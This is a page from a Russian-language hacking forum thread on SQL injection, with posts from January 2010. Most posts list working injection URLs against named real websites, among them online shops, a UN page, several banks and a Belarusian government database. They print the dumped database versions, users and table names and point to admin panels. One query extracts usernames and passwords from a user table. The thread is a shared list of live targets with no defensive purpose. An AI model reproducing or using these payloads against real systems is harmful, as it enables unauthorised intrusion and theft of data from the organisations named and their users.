ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 1138 из 1242 « Первая < 138638103810881128 1134 1135 1136 1137 1138 1139 1140 1141 1142 114811881238 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #11371  
Старый 02.01.2010, 21:37
Аватар для Jerri
Jerri
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
Провел на форуме:
2510517

Репутация: 334
Отправить сообщение для Jerri с помощью ICQ
По умолчанию
Код:
http://www.rukodelie.ru/index.php?page=cart&lastid=1+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29,@@version_compile_os%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44
@localhost | 5.0.26-lk-log | rukodelier | pc-linux-gnu
 
Ответить с цитированием

  #11372  
Старый 03.01.2010, 16:14
Аватар для Jerri
Jerri
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
Провел на форуме:
2510517

Репутация: 334
Отправить сообщение для Jerri с помощью ICQ
По умолчанию
Код:
http://www.un.org/sg/articleFullsearch.asp?TID=1%20or%201=%28select%20db_name%28%29%29--
Имя базы данных : News
Код:
http://www.un.org/sg/articleFullsearch.asp?TID=1%20or%201=%28select%20system_user%29--
Владелец : web
Код:
http://www.un.org/sg/articleFullsearch.asp?TID=1%20or%201=@@version--
Версия : Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

Теперь таблицы и колонки

Код:
http://www.un.org/sg/articleFullsearch.asp?TID=1%20or%201=%28SELECT%20TOP%201%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES%29--
Одна из таблиц: failedemails
Последний раз редактировалось jokester; 03.01.2010 в 17:24.. Причина: вопросы в соседней теме
 
Ответить с цитированием

  #11373  
Старый 03.01.2010, 17:19
Аватар для Stalingrad
Stalingrad
Познающий
Регистрация: 18.03.2006
Сообщений: 47
Провел на форуме:
311345

Репутация: 9
Talking
http://www.arctic-cooling.com/webshop/index.php?shop_id=11+union+select+1,2,null--
http://www.arctic-cooling.com/catalog/product_info.php?cPath=41_45+and+1=1--
http://www.arctic-cooling.com/catalog/product_info.php?cPath=41_44&mID=26544+group+by+19--

version(): 4.0.27-standard
user(): dbo273434928@localhost
database(): db273434928
Также есть таблица admin (+админка http://www.arctic-cooling.com/admin)
Последний раз редактировалось jokester; 03.01.2010 в 17:23.. Причина: вопросы в соседней теме
 
Ответить с цитированием

  #11374  
Старый 03.01.2010, 19:51
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию
Цитата:
http://shans.com.ua/index.php?m=nr&id=-6421+union+select+1,2,concat_ws(0x3a,version(),dat abase(),user(),@@version_compile_os)--+&in=60
5.0.81-log:shansco_shans:shansco_igor@second.hosted.in:un known-linux-gnu

БД
Код:
nformation_schema@shansco_forum@shansco_shans
таблцы
Код:
documents@news@news_copy@numbers@pages@poll_comment@poll_config@poll_data@poll_index@poll_ip@poll_log@poll_templates@poll_templateset@poll_user@rec_banners@rec_compact@rec_compact_tmp@rec_date@rec_firm@rec_firm_block@rec_firm_name@rec_firm_tmp@rec_private@rec_private_tmp@rec_rubric@rubrics@sav_que
таблицы форума
Код:
phpbb_attach_quota@phpbb_attachments@phpbb_attachments_config@phpbb_attachments_desc@phpbb_auth_access@phpbb_banlist@phpbb_categories@phpbb_config@phpbb_confirm@phpbb_disallow@phpbb_extension_groups@phpbb_extensions@phpbb_forbidden_extensions@phpbb_forum_prune@phpbb_forums@phpbb_groups@phpbb_posts@phpbb_posts_text@phpbb_privmsgs@phpbb_privmsgs_text@phpbb_quota_limits@phpbb_ranks@phpbb_search_results@phpbb_search_wordlist@phpbb_search_wordmatch@phpbb_sessions@phpbb_sessions_keys@phpbb_smilies@phpbb_themes@phpbb_themes_name@phpbb_topics@phpbb_topics_watch@phpbb_user_group@phpbb_users@phpbb_vote_desc@phpbb_vote_results@phpbb_vote_voters@phpbb_words
poll_user:
Код:
user_id@username@userpass@session@last_visit
poll_log
Код:
log_id@poll_id@option_id@timestamp@ip_addr@host@agent

Код:
http://shans.com.ua/index.php?m=nr&id=-6421+union+select+1,2,group_concat(concat_ws(0x3a,username,userpass,last_visit)%20separator%200x3a)+from+poll_user--+&in=60
админка и форум соответсвенно в каталогах:
Цитата:
admin/
forum/
 
Ответить с цитированием

  #11375  
Старый 04.01.2010, 01:47
Аватар для Jerri
Jerri
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
Провел на форуме:
2510517

Репутация: 334
Отправить сообщение для Jerri с помощью ICQ
По умолчанию
Код:
http://www.karlson-e.ru/?page=product&dir=-1%27+and+1=1+union+select+1,2,3,4,5,6,concat_ws%280x3a,version%28%29,database%28%29,user%28%29,@@version_compile_os%29,8,9+--+
webuser@localhost
5.1.34-log
karlson
portbld-freebsd7.1
 
Ответить с цитированием

  #11376  
Старый 04.01.2010, 02:07
Аватар для Bb0y
Bb0y
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
Провел на форуме:
736224

Репутация: 388
Отправить сообщение для Bb0y с помощью ICQ Отправить сообщение для Bb0y с помощью Yahoo
По умолчанию
Мускул 4й
http://www.digitalflywheel.com/case.php?id=-4+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,user name,0x3a,password)+from+users+limit+1,1
MySQL 4.0.27-log
users::username,password
http://www.digitalflywheel.com/admin
 
Ответить с цитированием

  #11377  
Старый 04.01.2010, 13:42
Аватар для shell_c0de
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию
Bank ))
Код:
http://www.fidelitybank.com.gh/management/details.php?id=-1+union+select+1,2,3,4,5,6,7--
Database:
Version : 4.1.22-standard-log
User: 335104_alfred@172.16.10.112
OS: pc-linux-gnu
Последний раз редактировалось shell_c0de; 04.01.2010 в 13:49..
 
Ответить с цитированием

  #11378  
Старый 04.01.2010, 17:10
Аватар для Strilo4ka
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию
идея shell_c0de Bank ))

Цитата:
http://concern-stellar.com/stella-bank/index.php?id=27&ssf=-193+union+select+1,2,concat_ws(0x40,user(),databas e(),version()),4--+
concerns_stella@localhost@concerns_bank@4.1.22-standard-log

Цитата:
http://www.akcia-bank.ru/index.php?id=-27+union+select+1,2,3,4,5,concat_ws(0x40,user(),da tabase(),version(),@@version_compile_os),7--+
akciaban_bank@localhost@akciaban_bank@5.0.81-community@unknown-linux-gnu

Цитата:
http://sparhafen.ch/index.php?id=180488&VERANSTALTUNG_id=-197820+union+select+concat_ws(0x3a,user(),version( ),database(),@@version_compile_os)--+
Event: bank_sparhafen@localhost:5.0.37-community-nt:bank_sparhafen:Win32

другие
65 колонок
Цитата:
http://infores.mpt.gov.by/ir/database/view_ir.php?id=-4241+union+select+1,2,3,4,concat_ws(0x3a,user(),da tabase(),version(),@@version_compile_os),6,7,8,9,1 0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26, 27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43 ,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,6 0,61,62,63,64,65--+
inforesipps@localhost:inforesipps:4.1.25-logortbld-freebsd6.3
Последний раз редактировалось Strilo4ka; 04.01.2010 в 19:33..
 
Ответить с цитированием

  #11379  
Старый 04.01.2010, 18:23
Аватар для FaTRuS
FaTRuS
Познающий
Регистрация: 28.08.2006
Сообщений: 94
Провел на форуме:
327555

Репутация: 1
Отправить сообщение для FaTRuS с помощью ICQ
По умолчанию
http://www.ak-cent.kz/news?news_category=-1+union+select+1,2,3,4,5,6,7
akcentk_user@localhost
5.0.77-community
akcentk_cms
unknown-linux-gnu
 
Ответить с цитированием

  #11380  
Старый 04.01.2010, 19:18
Аватар для Micr0b
Micr0b
Участник форума
Регистрация: 14.01.2006
Сообщений: 242
Провел на форуме:
2630617

Репутация: 245
Отправить сообщение для Micr0b с помощью ICQ
По умолчанию
Код:
http://delemont.com.au/description.php?intProductID=71%27+and+substring%28@@version,1,1%29=%274
http://www.moretonisland.com.au/product.php?id=67768+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
Последний раз редактировалось Micr0b; 05.01.2010 в 00:15..
 
Ответить с цитированием
Ответ
Страница 1138 из 1242 « Первая < 138638103810881128 1134 1135 1136 1137 1138 1139 1140 1141 1142 114811881238 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ